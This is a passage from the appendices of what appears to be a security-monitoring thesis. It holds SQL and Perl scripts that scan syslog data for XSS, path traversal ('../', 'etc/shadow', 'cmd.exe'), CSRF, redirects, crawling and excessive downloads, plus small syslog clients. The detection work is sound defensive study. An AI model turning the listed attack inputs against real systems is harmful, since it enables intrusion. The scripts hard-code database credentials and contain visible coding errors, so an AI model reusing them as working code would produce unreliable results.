    where msgquery like '%<img%>%';

select msgdatetime,msgip,msgquery from syslogd_mode4_norm_raw ...
    where msgquery like '%<%/>%' or msgquery like '%<%>%/>%';

spool off;

exit;

```

## *D.5 Authentication/Session Mgmt. (non-normalized)*

Listing D.5: Authentication/Session Mgmt. (non-normalized)

```

spool session.log

SET ECHO ON
SET HEADING ON
SET NEWPAGE NONE
SET LINESIZE 300
SET FEEDBACK ON
SET COLSEP '|'
SET TIMING ON

alter session set nls_date_format = 'dd.mm.yyyy hh24:mi:ss';

select * from syslogd_mode4 where msgtext like '%username%' or ...
    msgtext like '%password%';

```

```

select * from syslogd_mode4 where msgtext like '%sessionid%';

spool off;

exit;

```

## ***D.6 Authentication/Session Mgmt. (normalized)***

Listing D.6: Authentication/Session Mgmt. (normalized)

```

spool session_norm.log

SET ECHO ON
SET HEADING ON
SET NEWPAGE NONE
SET LINESIZE 300
SET FEEDBACK ON
SET COLSEP '|'
SET TIMING ON

alter session set nls_date_format = 'dd.mm.yyyy hh24:mi:ss';

select msgdatetime,msgip,msgquery from syslogd_mode4_norm_raw ...
      where msgquery like '%username%' or msgquery like '%password%';

select msgdatetime,msgip,msgquery from syslogd_mode4_norm_raw ...
      where msgquery like '%sessionid%';

spool off;

exit;

```

## ***D.7 Object References (non-normalized)***

### Listing D.7: Object References (non-normalized)

```
spool traversal.log

SET ECHO ON
SET HEADING ON
SET NEWPAGE NONE
SET LINESIZE 300
SET FEEDBACK ON
SET COLSEP '|'
SET TIMING ON

alter session set nls_date_format = 'dd.mm.yyyy hh24:mi:ss';

select * from syslogd_mode4 where msgtext like '%../%' or msgtext ...
    like '%%2E%2E%5C%';

select * from syslogd_mode4 where msgtext like '%etc/shadow%' or ...
    msgtext like '%cmd.exe%';

spool off;

exit;
```

### D.8 Object References (normalized)

#### Listing D.8: Object References (normalized)

```
spool traversal_norm.log

SET ECHO ON
SET HEADING ON
SET NEWPAGE NONE
SET LINESIZE 300
SET FEEDBACK ON
SET COLSEP '|'
SET TIMING ON
```

```

alter session set nls_date_format = 'dd.mm.yyyy hh24:mi:ss';

select msgdatetime, msgip, msgurl from syslogd_mode4_norm_raw ...
    where msgurl like '%../%' or msgurl like '%%2E%2E%5C%';

select msgdatetime, msgip, msgurl from syslogd_mode4_norm_raw ...
    where msgurl like '%etc/shadow%' or msgurl like '%cmd.exe%';

spool off;

exit;

```

### *D.9 Cross Site Request Forgery (non-normalized)*

Listing D.9: Cross Site Request Forgery (non-normalized)

```

spool csrf.log

SET ECHO ON
SET HEADING ON
SET NEWPAGE NONE
SET LINESIZE 300
SET FEEDBACK ON
SET COLSEP '|'
SET TIMING ON

alter session set nls_date_format = 'dd.mm.yyyy hh24:mi:ss';

create view csrfaccess as select * from syslogd_mode4 where ...
    msgtext like '%transferFunds.asp%';

select * from csrfaccess where msgtext not like '%www.bank.com%';

drop view csrfaccess;

spool off;

```

```
exit;
```

### ***D.10 Cross Site Request Forgery (normalized)***

Listing D.10: Cross Site Request Forgery (normalized)

```
spool csrf_norm.log
```

```
SET ECHO ON
```

```
SET HEADING ON
```

```
SET NEWPAGE NONE
```

```
SET LINESIZE 300
```

```
SET FEEDBACK ON
```

```
SET COLSEP '|'
```

```
SET TIMING ON
```

```
alter session set nls_date_format = 'dd.mm.yyyy hh24:mi:ss';
```

```
create view csrfaccess_norm2 as select * from ...
```

```
syslogd_mode4_norm_raw where msgurl like '%transferFunds.asp%';
```

```
select msgdatetime, msgreferer from csrfaccess_norm2 where ...
```

```
msgreferer not like '%www.bank.com%';
```

```
spool off;
```

```
exit;
```

### ***D.11 URL Access (non-normalized)***

Listing D.11: URL Access (non-normalized)

```
spool urlaccess.log
```

```
SET ECHO ON
```

```

SET HEADING ON
SET NEWPAGE NONE
SET LINESIZE 300
SET FEEDBACK ON
SET COLSEP '|'
SET TIMING ON

alter session set nls_date_format = 'dd.mm.yyyy hh24:mi:ss';

create view urlaccess as select * from syslogd_mode4 where msgtext...
    like '%addaccount.php%';

select * from urlaccess where msgtext not like '%www.goodguy.com/...
    admin.php%';

drop view urlaccess;

spool off;

exit;

```

### *D.12 URL Access (normalized)*

Listing D.12: URL Access (normalized)

```

spool urlaccess_norm.log

SET ECHO ON
SET HEADING ON
SET NEWPAGE NONE
SET LINESIZE 300
SET FEEDBACK ON
SET COLSEP '|'
SET TIMING ON

alter session set nls_date_format = 'dd.mm.yyyy hh24:mi:ss';

```



```

create view urlaccess_norm as select * from syslogd_mode4_norm_raw...
    where msgurl like '%addaccount.php%';

select msgdatetime,msgip,msgreferer from urlaccess_norm where ...
    msgreferer not like '%www.goodguy.com/admin.php%';

drop view urlaccess_norm;

spool off;

exit;

```

### *D.13 Redirects and Forwards non-normalized)*

Listing D.13: Redirects and Forwards (non-normalized)

```

spool redirects.log

SET ECHO ON
SET HEADING ON
SET NEWPAGE NONE
SET LINESIZE 300
SET FEEDBACK ON
SET COLSEP '|'
SET TIMING ON

alter session set nls_date_format = 'dd.mm.yyyy hh24:mi:ss';

create view redirects as select * from syslogd_mode4 where msgtext...
    like '%redirect.php%';

select * from redirects where msgtext not like '%url=www.goodguy....
    com/%';

drop view redirects;

```

```
spool off;
```

```
exit;
```

### *D.14 Redirects and Forwards (normalized)*

Listing D.14: Redirects and Forwards (normalized)

```
spool redirects_norm.log
```

```
SET ECHO ON
```

```
SET HEADING ON
```

```
SET NEWPAGE NONE
```

```
SET LINESIZE 300
```

```
SET FEEDBACK ON
```

```
SET COLSEP '|'
```

```
SET TIMING ON
```

```
alter session set nls_date_format = 'dd.mm.yyyy hh24:mi:ss';
```

```
create view redirects_norm as select * from syslogd_mode4_norm_raw...  
    where msgurl like '%redirect.php%';
```

```
select msgdatetime, msgip, msgreferer from redirects_norm where ...  
    msgreferer not like '%www.goodguy.com%';
```

```
drop view redirects_norm;
```

```
spool off;
```

```
exit;
```

### *D.15 Transport Layer Protection (non-normalized)*

Listing D.15: Transport Layer Protection (non-normalized)

```
spool ssl.log

SET ECHO ON
SET HEADING ON
SET NEWPAGE NONE
SET LINESIZE 300
SET FEEDBACK ON
SET COLSEP '|'
SET TIMING ON

alter session set nls_date_format = 'dd.mm.yyyy hh24:mi:ss';

select * from syslogd_mode4 where msgtext like '%SSL Library Error...
      %tlsv1 alert%';

spool off;

exit;
```

***D.16 Transport Layer Protection (normalized)***

Listing D.16: Transport Layer Protection (normalized)

```
spool ssl_norm.log

SET ECHO ON
SET HEADING ON
SET NEWPAGE NONE
SET LINESIZE 300
SET FEEDBACK ON
SET COLSEP '|'
SET TIMING ON

alter session set nls_date_format = 'dd.mm.yyyy hh24:mi:ss';
```

```

select msgtime,msgtext from syslogd_mode4_norm_error where msgtext...
    like '%SSL Library Error%tlsv1 alert%';

spool off;

exit;

```

### *D.17 Naïve Webcrawler (non-normalized)*

Listing D.17: Naïve Webcrawler (non-normalized)

```

use DBI;
use Date::Manip;
Date_Init("TZ=-0400");

#track how long the script takes

my $time = localtime(time());
my $begintime = ParseDate($time);

my $dbh = DBI->connect( "dbi:Oracle:HOST=logserver; sid=sec; port...
    =1522" , 'logman', 'logman') || die "Database connection not ...
    made: $DBI::errstr";

my $ath = $dbh->prepare("select unique msghostname from ...
    syslogd_mode4") || die "Select failed: $DBI::errstr";
$ath->execute();
my @arows;
while (@arows = $ath->fetchrow_array()){
    #these are the unique log producers
    my $bth = $dbh->prepare("select * from syslogd_mode4 where...
        msghostname=@arows[0]'") || die "Select failed: $DBI...
        ::errstr";
    $bth->execute();
    my @brows;
    my %clientips;

```

```

while(@brows=$bth->fetchrow_array()){
    #these are the individual log files to be parsed ...
    for client ips
    @messagesplit = split(/ /, $brows[4]);
    if ($messagesplit[2] =~ /\d{1,3}\.\d{1,3}\.\d...
        {1,3}\.\d{1,3}/){
        #linux log
        $clienttips{$messagesplit[2]}='foo';
    }elseif ($messagesplit[2] =~ /\d+\-\d+\-\d+/){
        #windows log
        $clienttips{$messagesplit[6]}='foo';
    }
}

for my $client ( keys %clienttips ){
    #this is one of the unique clients. find all ...
    their log files
    my $cth = $dbh->prepare("select * from ...
        syslogd_mode4 where msghostname='@arows[0]' and...
        msgtext like '%$client%'" ) || die "Select ...
        failed: $DBI::errstr";
    $cth->execute();
    my @crows;
    my @parsed;
    while(@crows=$cth->fetchrow_array()){
        #these are the individual log messages to ...
        parse
        #this will be run on a mode 4 database, so...
        there won't be synthetic events
        #logs from error log and mysql don't ...
        matter for the threshold events

        my @messagesplit = split(/ /, $crows[4]);

```

```

if ($messagesplit[2] =~ /\d{1,3}\.\d...
    {1,3}\.\d{1,3}\.\d{1,3}/ && ...
    $messagesplit[1]!~/Synthetic/){
    #linux log
    $datetemp=$messagesplit[3]." "....
    $messagesplit[4];
    $datetemp=~ s/\[/\//g;
    $datetemp=~ s/\]\//g;
    push(@parsed, ParseDate($datetemp)...
        );
}elsif ($messagesplit[2] =~ /\d+\-\d+\-\d...
    +/ && $messagesplit[1]!~/Synthetic/){
    #windows log
    $datetemp=$messagesplit[2]." "....
    $messagesplit[3];
    push(@parsed, ParseDate($datetemp)...
        );
}else{
    #print "Error: bad message: $crows...
        [4]\n";
}
}

#parsed now has unsorted information about each ...
    record from this hostname and client ip. sort ...
    it. line 58

my @parsedsorted = sort{Date_Cmp($a, $b)} @parsed;
my @parsedsortedcopy = @parsedsorted;
my $size = @parsedsorted;
my $aggmessages = 0;
foreach my $windowbegin ( @parsedsortedcopy ){
    #this will loop through every unique date ...
        in order (and as such, every record ...
        from $client on $arows[0])
    my $thresh = 25;

```

```

my $dates = "";

my $windowend = DateCalc($windowbegin,"...
    + 10 seconds",\$err);
my $aggmessages = 0;
foreach my $record ( @parsedsorted ){
    if (Date_Cmp($windowend, $record)...
        >=0 && Date_Cmp($record, ...
            $windowbegin)>=0){
        #the current date is ...
        earlier than the window...
        end and the window ...
        begin is earlier than ...
        the current record. we...
        're still in the window
        $aggmessages++;

        if($aggmessages>=$thresh){
            print "Alert: ...
                Possible naive ...
                webcrawler (...
                $aggmessages) ...
                from ".$client....
                " at "....
                $windowend."\n"...
                ;
            last;
        }
    }
}

}

}

}

}

$time = localtime(time());

```

```

my $endtime = ParseDate($time);
print "\n";
print DateCalc($begintime, $endtime)."\n";

```

### *D.18 Naïve Webcrawler (normalized)*

Listing D.18: Naïve Webcrawler (normalized)

```

use DBI;
use Date::Manip;
Date_Init("TZ=-0400");

#track how long the script takes

my $time = localtime(time());
my $begintime = ParseDate($time);

my $dbh = DBI->connect( "dbi:Oracle:HOST=logserver; sid=sec; port...
    =1522" , 'logman', 'logman') || die "Database connection not ...
    made: $DBI::errstr";

$dbh->do("alter session set nls_date_format='yyyy month dd hh24:mi...
    :ss'");

my $ath = $dbh->prepare("select unique msghostname from ...
    syslogd_mode4_norm_raw") || die "Select failed: $DBI::errstr";
$ath->execute();
my @arows;
while (@arows = $ath->fetchrow_array()){
    my $bth = $dbh->prepare("select unique msgip from ...
        syslogd_mode4_norm_raw where msghostname='$arows[0] '")...
        || die "Select failed: $DBI::errstr";
    $bth->execute();
    my @brows;
    while (@brows = $bth->fetchrow_array()){

```



```

my $cth = $dbh->prepare("select msgdatetime from ...
    syslogd_mode4_norm_raw where msghostname='...
    $arows[0]' and msgip='$brows[0]' order by ...
    msgdatetime") || die "Select failed: $DBI::...
    errstr";

$cth->execute();

my @crows;
while (@crows = $cth->fetchrow_array()){
    $thisdatetime=ParseDate($crows[0]);
    $windowend = DateCalc($thisdatetime,"+ 10 ...
        seconds",\$err);
    my $dth = $dbh->prepare("select count(...
        msgdatetime) from ...
        syslogd_mode4_norm_raw where ...
        msgdatetime>=to_date('$thisdatetime', '...
        yyyymmddhh24:mi:ss') and msgdatetime<=...
        to_date('$windowend', 'yyymmddhh24:mi:...
        ss') and msghostname='$arows[0]' and ...
        msgip='$brows[0]') || die "Select ...
        failed: $DBI::errstr";
    $dth->execute();
    my @drows;
    my $size;
    while (@drows = $dth->fetchrow_array()){
        $size=$drows[0];
        if($size>24){
            print "Alert: Possible ...
                Naive Webcrawler by ...
                $brows[0] at ...
                $thisdatetime\n";
            last;
        }
    }
    if($size>24){
        last;
    }
}

```

```

    }
}
}

$time = localtime(time());
my $endtime = ParseDate($time);
print "\n";
print DateCalc($begintime, $endtime)."\n";

```

### *D.19 Excessive Downloads (non-normalized)*

Listing D.19: Excessive Downloads (non-normalized)

```

use DBI;
use Date::Manip;
Date_Init("TZ=-0400");

#track how long the script takes

my $time = localtime(time());
my $begintime = ParseDate($time);

my $dbh = DBI->connect( "dbi:Oracle:HOST=logserver; sid=sec; port...
    =1522" , 'logman', 'logman') || die "Database connection not ...
    made: $DBI::errstr";

my $ath = $dbh->prepare("select unique msghostname from ...
    syslogd_mode4") || die "Select failed: $DBI::errstr";
$ath->execute();
my @arows;
while (@arows = $ath->fetchrow_array()){
    #these are the unique log producers
    my $bth = $dbh->prepare("select * from syslogd_mode4 where...
        msghostname='@arows[0]') || die "Select failed: $DBI...
        ::errstr";

```

```

$bth->execute();
my @brows;
my %clienttips;
while(@brows=$bth->fetchrow_array()){
    #these are the individual log files to be parsed ...
    for client ips
    @messagesplit = split(/ /, $brows[4]);
    if ($messagesplit[2] =~ /\d{1,3}\.\d{1,3}\.\d...
        {1,3}\.\d{1,3}/){
        #linux log
        $clienttips{$messagesplit[2]}='foo';
    }elseif ($messagesplit[2] =~ /\d+\-\d+\-\d+/){
        #windows log
        $clienttips{$messagesplit[6]}='foo';
    }
}

for my $client ( keys %clienttips ){
    #this is one of the unique clients. find all ...
    their log files
    my $cth = $dbh->prepare("select * from ...
        syslogd_mode4 where msghostname='@arows[0]' and...
        msgtext like '%$client%'") || die "Select ...
        failed: $DBI::errstr";
    $cth->execute();
    my @crows;
    my %parsed;
    while(@crows=$cth->fetchrow_array()){
        #these are the individual log messages to ...
        parse
        #this will be run on a mode 4 database, so...
        there won't be synthetic events
        #logs from error log and mysql don't ...
        matter for the threshold events

```

```

my @messagesplit = split(/ /, $crows[4]);
if ($messagesplit[2] =~ /\d{1,3}\.\d{1,3}\.\d{1,3}\./ && ...
    $messagesplit[1]!~/Synthetic/){
    #linux log
    $datetemp=$messagesplit[3]." "....
    $messagesplit[4];
    $datetemp=~ s/\[/\//g;
    $datetemp=~ s/\]/\]\//g;
    $parsed{ParseDate($datetemp)} = ...
    $messagesplit[5];
}elseif ($messagesplit[2] =~ /\d+\-\d+\-\d+...
    +/ && $messagesplit[1]!~/Synthetic/){
    #windows log
    $datetemp=$messagesplit[2]." "....
    $messagesplit[3];
    $parsed{ParseDate($datetemp)} = ...
    $messagesplit[9];
}else{
    print "Error: bad message: $crows...
        [4]\n";
}
}

#parsed now has unsorted information about each ...
    record from this hostname and client ip. sort ...
    it.
my @parseddates;
for my $date ( keys %parsed ){
    push(@parseddates, $date);
}
my @parseddatessorted = sort{Date_Cmp($a, $b)} ...
    @parseddates;
my $size = @parseddatessorted;
my $aggbytes = 0;
for($i=0; $i<$size; $i++){

```

```

my $thresh = 100000000;

$aggbytes+=$parsed{$parseddatesorted[$i...
    ]};
if($aggbytes>=$thresh){
    print "Alert: Excessive downloads ...
        from ".$client.": ".$aggbytes."...
        \n";
    last;
}
}
}

}

$time = localtime(time());
my $endtime = ParseDate($time);
print "\n";
print DateCalc($begintime, $endtime)."\n";

```

## *D.20 Excessive Downloads (normalized, Mode 3)*

Listing D.20: Excessive Downloads (normalized Mode 3)

```
spool downloads.log
```

```

SET ECHO ON
SET HEADING ON
SET NEWPAGE NONE
SET LINESIZE 300
SET FEEDBACK ON
SET COLSEP '|'
SET TIMING ON
SET SERVEROUTPUT ON

```

```
begin
```

```

        for alerts in (select msgtext, msgip from ...
            syslogd_mode3_norm_synth where msgtext like '%Excessive...
            downloads%') loop
            dbms_output.put_line('Alert on ' || alerts.msgip...
                || ': ' || alerts.msgtext);
        end loop;
end;

/

```

## D.21 Excessive Downloads (normalized, Mode 4)

Listing D.21: Excessive Downloads (normalized Mode 4)

```

use DBI;
use Date::Manip;
Date_Init("TZ=-0400");

#track how long the script takes

my $time = localtime(time());
my $begintime = ParseDate($time);

my $dbh = DBI->connect( "dbi:Oracle:HOST=logserver; sid=sec; port...
    =1522" , 'logman', 'logman') || die "Database connection not ...
    made: $DBI::errstr";

$dbh->do("alter session set nls_date_format='yyyy month dd hh24:mi...
    :ss'");

my $ath = $dbh->prepare("select unique msghostname from ...
    syslogd_mode4_norm_raw") || die "Select failed: $DBI::errstr";
$ath->execute();
my @arows;
while (@arows = $ath->fetchrow_array()){

```

```

my $bth = $dbh->prepare("select unique msgip from ...
    syslogd_mode4_norm_raw where msghostname='$arows[0]')...
    || die "Select failed: $DBI::errstr";
$bth->execute();
my @brows;
while (@brows = $bth->fetchrow_array()){
    my $cth = $dbh->prepare("select msgdatetime from ...
        syslogd_mode4_norm_raw where msghostname='...
        $arows[0]' and msgip='$brows[0]' order by ...
        msgdatetime") || die "Select failed: $DBI::...
        errstr";
    $cth->execute();
    my @crows;
    while (@crows = $cth->fetchrow_array()){
        $thisdatetime=ParseDate($crows[0]);
        my $dth = $dbh->prepare("select sum(...
            msgbytes) from syslogd_mode4_norm_raw ...
            where msgdatetime<=to_date('...
            $thisdatetime', 'yyyymmddhh24:mi:ss') ...
            and msghostname='$arows[0]' and msgip='...
            $brows[0]') || die "Select failed: ...
            $DBI::errstr";
        $dth->execute();
        my @drows;
        my $size;
        while (@drows = $dth->fetchrow_array()){
            $size=$drows[0];
            if($drows[0]>100000000){
                print "Alert: Excessive ...
                    downloads by $brows[0] ...
                    at $thisdatetime: ...
                    $drows[0]\n";
                last;
            }
        }
    }
}

```

```

                                if($size>1000000000){
                                    last;
                                }
                            }
                    }
}

```

```

$time = localtime(time());
my $endtime = ParseDate($time);
print "\n";
print DateCalc($begintime, $endtime)."\n";

```

## ***D.22 Excessive Downloads (normalized, Mode 4)***

Listing D.22: Excessive Downloads (normalized Mode 4)

```

spool downloads_norm.log

SET ECHO ON
SET HEADING ON
SET NEWPAGE NONE
SET LINESIZE 300
SET FEEDBACK ON
SET COLSEP '|'
SET TIMING ON
SET SERVEROUTPUT ON
alter session set nls_date_format = 'dd.mm.yyyy hh24:mi:ss';

declare
    v_size NUMBER;

begin
    for ips in (select unique msghostname from ...
                syslogd_mode4_norm_raw) loop

```



```

for clients in (select unique msgip from ...
                syslogd_mode4_norm_raw where msghostname=ips....
                msghostname) loop
    for times in (select msgdatetime from ...
                  syslogd_mode4_norm_raw where ...
                  msghostname=ips.msghostname and msgip=...
                  clients.msgip order by msgdatetime) ...
    loop
        select sum(msgbytes) into v_size ...
        from syslogd_mode4_norm_raw ...
        where msgdatetime<=times....
        msgdatetime and msghostname=ips...
        .msghostname and msgip=clients....
        msgip;
        if v_size>100000000 then
            dbms_output.put_line('...
                                Alert: Excessive ...
                                downloads by ' || ...
                                clients.msgip || ': '...
                                || v_size);
            exit;
        end if;
    end loop;
end loop;
end loop;
end;

/

```

### *D.23 Excessive Downloads (normalized, Mode 3 with related logs)*

Listing D.23: Excessive Downloads (normalized Mode 3 with related logs)

```

use DBI;
use Date::Manip;
Date_Init("TZ=-0400");

```

```

#track how long the script takes

my $time = localtime(time());
my $begintime = ParseDate($time);

my $dbh = DBI->connect( "dbi:Oracle:HOST=logserver; sid=sec; port...
    =1522" , 'logman', 'logman') || die "Database connection not ...
    made: $DBI::errstr";

$dbh->do("alter session set nls_date_format='yyyy month dd hh24:mi...
    :ss'");

my $ath = $dbh->prepare("select max(rowid) from ...
    syslogd_mode3_norm_synth where msgtext like '%Excessive ...
    downloads%'") || die "Select failed: $DBI::errstr";
$ath->execute();
my @arows;
while (@arows = $ath->fetchrow_array()){
    $rowid=$arows[0];
}

#get the whole record back for that row number
#put msghostname, msgip and msgdatetime into variables
my $bth = $dbh->prepare("select * from syslogd_mode3_norm_synth ...
    where rowid='$rowid'") || die "Select failed: $DBI::errstr";
$bth->execute();
my @brows;
while (@brows = $bth->fetchrow_array()){
    $msghostname=$brows[3];
    $msgip=$brows[5];
    $msgdatetime=ParseDate($brows[6]);
}

#get all relevant logs and print them out

```

```

my $cth = $dbh->prepare("select * from syslogd_mode3_norm_raw ...
    where msghostname='$msghostname' and msgip='$msgip' and ...
    msgdatetime<to_date('$msgdatetime', 'yyyymmddhh24:mi:ss')") || ...
    die "Select failed: $DBI::errstr";

$cth->execute();

my @crows;
while (@crows = $cth->fetchrow_array()){
    print "@crows";
    print "\n";
}

$time = localtime(time());
my $endtime = ParseDate($time);
print "\n";
print DateCalc($beginTime, $endTime)."\n";

```

#### *D.24 Excessive Downloads (normalized, Mode 4 with related logs)*

Listing D.24: Excessive Downloads (normalized Mode 4 with related logs)

```

use DBI;
use Date::Manip;
Date_Init("TZ=-0400");

#track how long the script takes

my $time = localtime(time());
my $beginTime = ParseDate($time);

my $dbh = DBI->connect( "dbi:Oracle:HOST=logserver; sid=sec; port...
    =1522" , 'logman', 'logman') || die "Database connection not ...
    made: $DBI::errstr";

$dbh->do("alter session set nls_date_format='yyyy month dd hh24:mi...
    :ss'");

```

```

my $ath = $dbh->prepare("select unique msghostname from ...
    syslogd_mode4_norm_raw") || die "Select failed: $DBI::errstr";
$ath->execute();
my @arows;
while (@arows = $ath->fetchrow_array()){
    my $bth = $dbh->prepare("select unique msgip from ...
        syslogd_mode4_norm_raw where msghostname='$arows[0]')...
        || die "Select failed: $DBI::errstr";
    $bth->execute();
    my @brows;
    while (@brows = $bth->fetchrow_array()){
        my $cth = $dbh->prepare("select msgdatetime from ...
            syslogd_mode4_norm_raw where msghostname='...
            $arows[0]' and msgip='$brows[0]' order by ...
            msgdatetime") || die "Select failed: $DBI::...
            errstr";
        $cth->execute();
        my @crows;
        while (@crows = $cth->fetchrow_array()){
            $thisdatetime=ParseDate($crows[0]);
            my $dth = $dbh->prepare("select sum(...
                msgbytes) from syslogd_mode4_norm_raw ...
                where msgdatetime<=to_date('...
                $thisdatetime', 'yyyymmddhh24:mi:ss') ...
                and msghostname='$arows[0]' and msgip='...
                $brows[0]') || die "Select failed: ...
                $DBI::errstr";
            $dth->execute();
            my @drows;
            my $size;
            while (@drows = $dth->fetchrow_array()){
                $size=$drows[0];
                if($drows[0]>100000000){

```

```

        print "Alert: Excessive ...
              downloads by $brows...
              [0]: $drows[0]\n";

#we want the related logs...
.   since there has been...
    an alert, find and ...
    print them
my $eth = $dbh->prepare("...
    select * from ...
    syslogd_mode4_norm_raw ...
    where msgdatetime<=...
    to_date('$thisdatetime...
    ', 'yyyymmddhh24:mi:ss...
    ') and msghostname='...
    $arows[0]' and msgip='...
    $brows[0]') || die "...
    Select failed: $DBI::...
    errstr";

$eth->execute();
my @erows;
my $size;
while (@erows = $eth->...
    fetchrow_array()){
    print "@erows";
    print "\n";
}

last;
}

}

if($size>1000000000){
    last;
}

}

```

```

    }
}

$time = localtime(time());
my $endtime = ParseDate($time);
print "\n";
print DateCalc($begintime, $endtime)."\n";

```

### *D.25 Excessive Access Attempts (normalized)*

Listing D.25: Injection (normalized)

```

use DBI;
use Date::Manip;
Date_Init("TZ=-0400");

#track how long the script takes

my $time = localtime(time());
my $begintime = ParseDate($time);

my $dbh = DBI->connect( "dbi:Oracle:HOST=logserver; sid=sec; port...
    =1522" , 'logman', 'logman') || die "Database connection not ...
    made: $DBI::errstr";

$dbh->do("alter session set nls_date_format='yyyy month dd hh24:mi...
    :ss'");

my $ath = $dbh->prepare("select unique msghostname from ...
    syslogd_mode4_norm_raw") || die "Select failed: $DBI::errstr";
$ath->execute();
my @arows;
while (@arows = $ath->fetchrow_array()){
    my $bth = $dbh->prepare("select unique msgip from ...
        syslogd_mode4_norm_raw where msghostname='$arows[0]')...
        || die "Select failed: $DBI::errstr";

```

```

$bth->execute();
my @brows;
while (@brows = $bth->fetchrow_array()){
    my $cth = $dbh->prepare("select msgdatetime from ...
        syslogd_mode4_norm_raw where msghostname='...
        $arows[0]' and msgip='$brows[0]' order by ...
        msgdatetime") || die "Select failed: $DBI:...
        errstr";
    $cth->execute();
    my @crows;
    while (@crows = $cth->fetchrow_array()){
        $thisdatetime=ParseDate($crows[0]);
        $windowend = DateCalc($thisdatetime,"+ 10 ...
            seconds",\$err);
        my $dth = $dbh->prepare("select count(...
            msgdatetime) from ...
            syslogd_mode4_norm_raw where ...
            msgdatetime>=to_date('$thisdatetime', '...
            yyyymmddhh24:mi:ss') and msgdatetime<=...
            to_date('$windowend', 'yyymmddhh24:mi:...
            ss') and msghostname='$arows[0]' and ...
            msgip='$brows[0]' and msgstatus like...
            '%404%')") || die "Select failed: $DBI:...
            errstr";
        $dth->execute();
        my @drows;
        my $size;
        while (@drows = $dth->fetchrow_array()){
            $size=$drows[0];
            if($drows[0]>3){
                print "Alert: Excessive ...
                    HTTP 404 Errors by ...
                    $brows[0] at ...
                    $thisdatetime\n";
            }
        }
    }
}

```

```

        }
    }
    if($size>3){
        last;
    }
}
}

$time = localtime(time());
my $endtime = ParseDate($time);
print "\n";
print DateCalc($begintime, $endtime)."\n";

```

## D.26 *Excessive Access Attempts (non-normalized)*

Listing D.26: Excessive Access Attempts (non-normalized)

```

use DBI;
use Date::Manip;
Date_Init("TZ=-0400");

#track how long the script takes

my $time = localtime(time());
my $begintime = ParseDate($time);

my $dbh = DBI->connect( "dbi:Oracle:HOST=logserver; sid=sec; port...
    =1522" , 'logman', 'logman') || die "Database connection not ...
    made: $DBI::errstr";

#same basic method as the sql script, just normalizing on the fly

my $ath = $dbh->prepare("select unique msghostname from ...
    syslogd_mode4") || die "Select failed: $DBI::errstr";
$ath->execute();

```



```

my @arows;
while (@arows = $ath->fetchrow_array()){
    #these are the unique log producers
    my $bth = $dbh->prepare("select * from syslogd_mode4 where...
        msghostname='@arows[0]'" ) || die "Select failed: $DBI...
        ::errstr";
    $bth->execute();
    my @brows;
    my %clientips;
    while(@brows=$bth->fetchrow_array()){
        #these are the individual log files to be parsed ...
        for client ips
        @messagesplit = split(/ /, $brows[4]);
        if ($messagesplit[2] =~ /\d{1,3}\.\d{1,3}\.\d...
            {1,3}\.\d{1,3}/){
            #linux log
            $clientips{$messagesplit[2]}='foo';
        }elseif ($messagesplit[2] =~ /\d+\-\d+\-\d+\/){
            #windows log
            $clientips{$messagesplit[6]}='foo';
        }
    }
}

for my $client ( keys %clientips ){
    #this is one of the unique clients. find all ...
    their log files
    my $cth = $dbh->prepare("select * from ...
        syslogd_mode4 where msghostname='@arows[0]' and...
        msgtext like '%$client%' and msgtext like...
        '%404%'") || die "Select failed: $DBI::errstr"...
        ;
    $cth->execute();
    my @crows;
    my @parsed;
    while(@crows=$cth->fetchrow_array()){

```

```

#these are the individual log messages to ...
    parse
#this will be run on a mode 4 database, so...
    there won't be synthetic events
#logs from error log and mysql don't ...
    matter for the threshold events line40

my @messagesplit = split(/ /, $crows[4]);
if ($messagesplit[2] =~ /\d{1,3}\.\d...
    {1,3}\.\d{1,3}\.\d{1,3}/ && ...
    $messagesplit[1]!~/Synthetic/){
    #linux log
    $datetemp=$messagesplit[3]." "....
        $messagesplit[4];
    $datetemp=~ s/\[/\//g;
    $datetemp=~ s/\]\//g;
    push(@parsed, ParseDate($datetemp)...
        );
}elsif ($messagesplit[2] =~ /\d+\-\d+\-\d...
    +/ && $messagesplit[1]!~/Synthetic/){
    #windows log
    $datetemp=$messagesplit[2]." "....
        $messagesplit[3];
    push(@parsed, ParseDate($datetemp)...
        );
}

}

my @parsedsorted = sort{Date_Cmp($a, $b)} @parsed;
my @parsedsortedcopy = @parsedsorted;
my $aggmessages = 0;
foreach my $windowbegin ( @parsedsortedcopy ){
    #this will loop through every unique date ...
        in order (and as such, every record ...
        from $client on $arows[0])

```



```
$time = localtime(time());  
my $endtime = ParseDate($time);  
print "\n";  
print DateCalc($begintime, $endtime)."\n";
```

## *Appendix E. Miscellaneous Supporting Source Code*

### *E.1 Generic Syslog client for Linux*

Listing E.1: Generic Syslog client for Linux

```
#include <syslog.h>

int main ( int argc, char *argv[])
{
    openlog("SECEvent", LOG_NDELAY, LOG_LOCAL0);
    syslog(LOG_WARNING, "%s %s", argv[1], argv[2]);
    closelog();

    return 0;
}
```

### *E.2 Hybrid Syslog client for Linux*

Listing E.2: Hybrid Syslog client for Linux

```
#include <stdio.h>
#include <syslog.h>

int main ( int argc, char *argv[])
{
    int bytes_read;
    int x = 2;
    int nbytes = 100;
    char *my_string;

    my_string = (char *) malloc (nbytes + 1);
    while(x>1){
        bytes_read = getline (&my_string, &nbytes, stdin);
        if (bytes_read == -1){
            puts ("End of input.");
            x=0;
        }
    }
}
```

```

    }else{
        puts ("Sending to syslog...");
        openlog("SECEvent", LOG_NDELAY, LOG_LOCALO...
            );
        syslog(LOG_WARNING, "%s %s", "Related", ...
            my_string);
        closelog();
    }
}
return 0;
}

```

### *E.3 Remote Configuration Bash script*

Listing E.3: Remote Configuration Bash Script

```

#!/bin/bash
#configure.sh
#used to remotely configure SEC scenarios
#must be run as root (to use kill command)

if [ $# -eq 2 ] ; then
    #clear out conf-enabled
    rm conf-enabled/*.conf

    #set up conf files
    if [ $1 -eq 1 ] ; then
        echo "Configuring Mode 1..."
        cp conf-available/*.conf conf-enabled
        rm conf-enabled/all_events.conf
        rm conf-enabled/hybridcontext.conf
    else
        if [ $1 -eq 2 ] ; then
            echo "Configuring Mode 2..."
            cp conf-available/*.conf conf-enabled
            rm conf-enabled/all_events.conf

```

```

else
    if [ $1 -eq 3 ] ; then
        echo "Configuring Mode 3..."
        cp conf-available/*.conf conf-...
            enabled
        rm conf-enabled/hybridcontext.conf
    else
        if [ $1 -eq 4 ] ; then
            echo "Configuring Mode...
                4..."
            cp conf-available/...
                all_events.conf conf-...
                enabled
        fi
    fi
fi

fi

#make everything readable to SEC
chmod 644 conf-enabled/*

#get SEC pid
